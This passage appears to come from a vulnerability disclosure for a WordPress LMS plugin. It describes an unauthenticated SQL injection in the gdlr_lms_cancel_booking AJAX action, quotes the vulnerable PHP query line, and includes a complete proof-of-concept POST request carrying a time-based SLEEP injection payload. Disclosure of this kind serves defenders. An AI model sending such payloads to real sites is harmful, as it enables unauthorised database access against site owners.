However the "nopriv" in line 683 means that the same function "gdlr_lms_cancel_booking" can also be called as an unauthenticated user. Following URL means that an attacker is already inside function "gdlr_lms_cancel_booking". http://www.example.com/wp-admin/admin-ajax.php?action=gdlr_lms_cancel_booking SQL Injection on line 688 is pretty simple to understand that an arbitrary user input in POST Request is sent straight into the MySQL Query as variable "id" $sql .= 'WHERE id=' . $_POST['id'] . ' AND '; Following are the Request Headers as POC which demonstrates MySQL SLEEP Query. ================================================================ Request Headers Start ================================================================ POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded action=gdlr_lms_cancel_booking&id=(SELECT 1337 FROM (SELECT(SLEEP(10)))MrMV) ================================================================ Request Headers Finish ================================================================ |
